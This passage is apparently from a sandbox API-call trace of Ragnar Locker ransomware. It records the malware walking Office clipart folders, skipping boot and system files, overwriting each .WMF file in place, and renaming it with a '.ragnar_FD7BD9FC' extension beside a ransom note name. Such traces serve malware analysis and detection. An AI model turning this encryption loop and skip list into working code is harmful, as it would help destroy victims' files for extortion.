(lpString1=".WMF", lpString2=".sys") returned 1 [0079.987] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.988] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.988] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.988] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.988] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0079.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.988] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9240) returned 1 [0079.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x240f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.988] GetProcessHeap () returned 0x580000 [0079.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.988] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.989] VirtualAlloc (lpAddress=0x0, dwSize=0x2418, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.990] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2418, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2418, lpOverlapped=0x0) returned 1 [0079.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.991] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2418, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.991] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2418, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2418, lpOverlapped=0x0) returned 1 [0079.991] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2418, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.991] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2418, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.991] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.991] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.991] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.991] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.992] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.992] GetProcessHeap () returned 0x580000 [0079.992] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.992] CloseHandle (hObject=0xf4) returned 1 [0079.992] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" [0079.992] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ragnar_FD7BD9FC" [0079.992] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.992] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0079.992] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.992] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04108_.WMF" | out: lpString1="AN04108_.WMF") returned="AN04108_.WMF" [0079.992] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned=".WMF" [0079.992] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.992] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="autorun.inf") returned -1 [0079.992] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="boot.ini") returned -1 [0079.992] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="bootfont.bin") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="bootsect.bak") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="bootmgr") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="bootmgr.efi") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="desktop.ini") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="iconcache.db") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="ntldr") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="ntuser.dat") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="ntuser.ini") returned -1 [0079.993] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="thumbs.db") returned -1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.993] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.993] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0079.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.993] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2344) returned 1 [0079.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x91f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.994] GetProcessHeap () returned 0x580000 [0079.994] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.994] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.995] VirtualAlloc (lpAddress=0x0, dwSize=0x928, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.995] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x928, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x928, lpOverlapped=0x0) returned 1 [0079.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x928, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.996] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x928, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x928, lpOverlapped=0x0) returned 1 [0079.996] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x928, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.996] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x928, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.996] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.996] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.997] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.997] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.997] GetProcessHeap () returned 0x580000 [0079.997] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.997] CloseHandle (hObject=0xf4) returned 1 [0079.997] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" [0079.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ragnar_FD7BD9FC" [0079.997] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.998] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0079.998] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.998] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04117_.WMF" | out: lpString1="AN04117_.WMF") returned="AN04117_.WMF" [0079.998] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned=".WMF" [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="autorun.inf") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="boot.ini") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="bootfont.bin") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="bootsect.bak") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="bootmgr") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="bootmgr.efi") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="bootmgfw.efi") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="desktop.ini") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="iconcache.db") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="ntldr") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="ntuser.dat") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="ntuser.dat.log") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="ntuser.ini") returned -1 [0079.998] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="thumbs.db") returned -1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0079.998] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0079.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0079.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.999] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6060) returned 1 [0079.999] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.999] GetProcessHeap () returned 0x580000 [0079.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.999] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.000] VirtualAlloc (lpAddress=0x0, dwSize=0x17ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.000] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.001] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17ac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17ac, lpOverlapped=0x0) returned 1 [0080.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.001] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.002] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17ac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17ac, lpOverlapped=0x0) returned 1 [0080.002] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.002] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.002] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.002] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.002] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.002] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.002] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.002] GetProcessHeap () returned 0x580000 [0080.002] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.002] CloseHandle (hObject=0xf4) returned 1 [0080.002] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" [0080.003] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ragnar_FD7BD9FC" [0080.003] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0080.003] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.003] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04134_.WMF" | out: lpString1="AN04134_.WMF") returned="AN04134_.WMF" [0080.003] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned=".WMF" [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="autorun.inf") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="boot.ini") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="bootfont.bin") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="bootsect.bak") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="bootmgr") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="bootmgr.efi") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="desktop.ini") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="iconcache.db") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="ntldr") returned -1 [0080.003] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="ntuser.dat") returned -1 [0080.004] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.004] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="ntuser.ini") returned -1 [0080.004] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="thumbs.db") returned -1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.004] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0080.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 